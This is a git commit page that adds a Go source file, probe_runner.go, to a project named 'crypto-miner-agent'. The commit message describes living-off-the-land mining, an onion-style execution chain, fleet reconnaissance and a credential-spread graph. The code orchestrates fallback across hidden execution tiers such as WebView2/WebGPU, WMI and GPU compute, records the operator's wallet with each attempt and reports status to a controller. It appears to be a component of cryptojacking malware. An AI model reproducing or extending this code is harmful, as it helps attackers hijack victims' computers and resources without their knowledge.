Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
197
agent/miner/probe_runner.go
Normal file
197
agent/miner/probe_runner.go
Normal file
@@ -0,0 +1,197 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
|
||||
type TierHandler interface {
|
||||
Tier() LOTLTier
|
||||
Available(cfg config.RuntimeConfig) bool
|
||||
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
|
||||
Stop()
|
||||
}
|
||||
|
||||
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
|
||||
type ProbeReporter func(report TierReport)
|
||||
|
||||
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
|
||||
type TierRunner struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
handlers []TierHandler
|
||||
report ProbeReporter
|
||||
attempts []TierAttempt
|
||||
active LOTLTier
|
||||
stopped []TierHandler
|
||||
}
|
||||
|
||||
// NewTierRunner builds a runner with platform-default handlers.
|
||||
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
|
||||
return &TierRunner{
|
||||
cfg: cfg,
|
||||
handlers: defaultTierHandlers(),
|
||||
report: report,
|
||||
}
|
||||
}
|
||||
|
||||
// SetHandlers replaces handlers (tests inject mocks).
|
||||
func (r *TierRunner) SetHandlers(h []TierHandler) {
|
||||
r.mu.Lock()
|
||||
r.handlers = h
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
// Report returns the current tier snapshot.
|
||||
func (r *TierRunner) Report() TierReport {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.buildReport()
|
||||
}
|
||||
|
||||
func (r *TierRunner) buildReport() TierReport {
|
||||
attempts := make([]TierAttempt, len(r.attempts))
|
||||
copy(attempts, r.attempts)
|
||||
rep := TierReport{
|
||||
ActiveTier: r.active,
|
||||
Attempts: attempts,
|
||||
}
|
||||
for _, a := range attempts {
|
||||
if a.Tier == TierWebView2Probe && a.OK {
|
||||
if v, ok := a.Details["webgpu_available"].(bool); ok {
|
||||
rep.WebGPUReady = v
|
||||
}
|
||||
}
|
||||
if a.Tier == TierGPUCompute && a.OK {
|
||||
rep.GPUComputeOK = true
|
||||
}
|
||||
}
|
||||
return rep
|
||||
}
|
||||
|
||||
func (r *TierRunner) emit() {
|
||||
r.mu.RLock()
|
||||
rep := r.buildReport()
|
||||
report := r.report
|
||||
r.mu.RUnlock()
|
||||
if report != nil {
|
||||
report(rep)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *TierRunner) recordAttempt(a TierAttempt) {
|
||||
r.mu.Lock()
|
||||
r.attempts = append(r.attempts, a)
|
||||
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
|
||||
r.active = a.Tier
|
||||
}
|
||||
r.mu.Unlock()
|
||||
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
|
||||
r.emit()
|
||||
}
|
||||
|
||||
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
||||
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
|
||||
r.mu.RLock()
|
||||
handlers := r.handlers
|
||||
cfg := r.cfg
|
||||
r.mu.RUnlock()
|
||||
|
||||
for _, h := range handlers {
|
||||
if h.Tier() != TierWebView2Probe {
|
||||
continue
|
||||
}
|
||||
if !h.Available(cfg) {
|
||||
r.recordAttempt(TierAttempt{
|
||||
Tier: TierWebView2Probe,
|
||||
Error: "webview2 runtime not detected",
|
||||
Wallet: cfg.Wallet,
|
||||
})
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
a := h.Attempt(ctx, cfg)
|
||||
a.DurationMs = time.Since(start).Milliseconds()
|
||||
if a.Wallet == "" {
|
||||
a.Wallet = cfg.Wallet
|
||||
}
|
||||
r.recordAttempt(a)
|
||||
}
|
||||
return r.Report()
|
||||
}
|
||||
|
||||
// RunChain attempts execution tiers in order; probe tiers are skipped here.
|
||||
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
|
||||
r.mu.RLock()
|
||||
handlers := r.handlers
|
||||
cfg := r.cfg
|
||||
r.mu.RUnlock()
|
||||
|
||||
var lastErr error
|
||||
for _, h := range handlers {
|
||||
t := h.Tier()
|
||||
if t == TierWebView2Probe {
|
||||
continue
|
||||
}
|
||||
if !h.Available(cfg) {
|
||||
r.recordAttempt(TierAttempt{
|
||||
Tier: t,
|
||||
Error: "tier unavailable on " + runtime.GOOS,
|
||||
Wallet: cfg.Wallet,
|
||||
})
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
a := h.Attempt(ctx, cfg)
|
||||
a.DurationMs = time.Since(start).Milliseconds()
|
||||
if a.Wallet == "" {
|
||||
a.Wallet = cfg.Wallet
|
||||
}
|
||||
r.recordAttempt(a)
|
||||
if a.OK {
|
||||
r.mu.Lock()
|
||||
r.active = t
|
||||
r.stopped = append(r.stopped, h)
|
||||
r.mu.Unlock()
|
||||
r.emit()
|
||||
return t, nil
|
||||
}
|
||||
if a.Error != "" {
|
||||
lastErr = errFromTier(a.Error)
|
||||
}
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", ErrTierChainSkipped
|
||||
}
|
||||
|
||||
// WebGPUReady reports whether the webview2 probe found WebGPU.
|
||||
func (r *TierRunner) WebGPUReady() bool {
|
||||
return r.Report().WebGPUReady
|
||||
}
|
||||
|
||||
// Stop halts all started tier handlers.
|
||||
func (r *TierRunner) Stop() {
|
||||
r.mu.Lock()
|
||||
stopped := r.stopped
|
||||
r.active = ""
|
||||
r.stopped = nil
|
||||
r.mu.Unlock()
|
||||
for _, h := range stopped {
|
||||
h.Stop()
|
||||
}
|
||||
r.emit()
|
||||
}
|
||||
|
||||
type tierError string
|
||||
|
||||
func (e tierError) Error() string { return string(e) }
|
||||
|
||||
func errFromTier(msg string) error { return tierError(msg) }
|
||||
Reference in New Issue
Block a user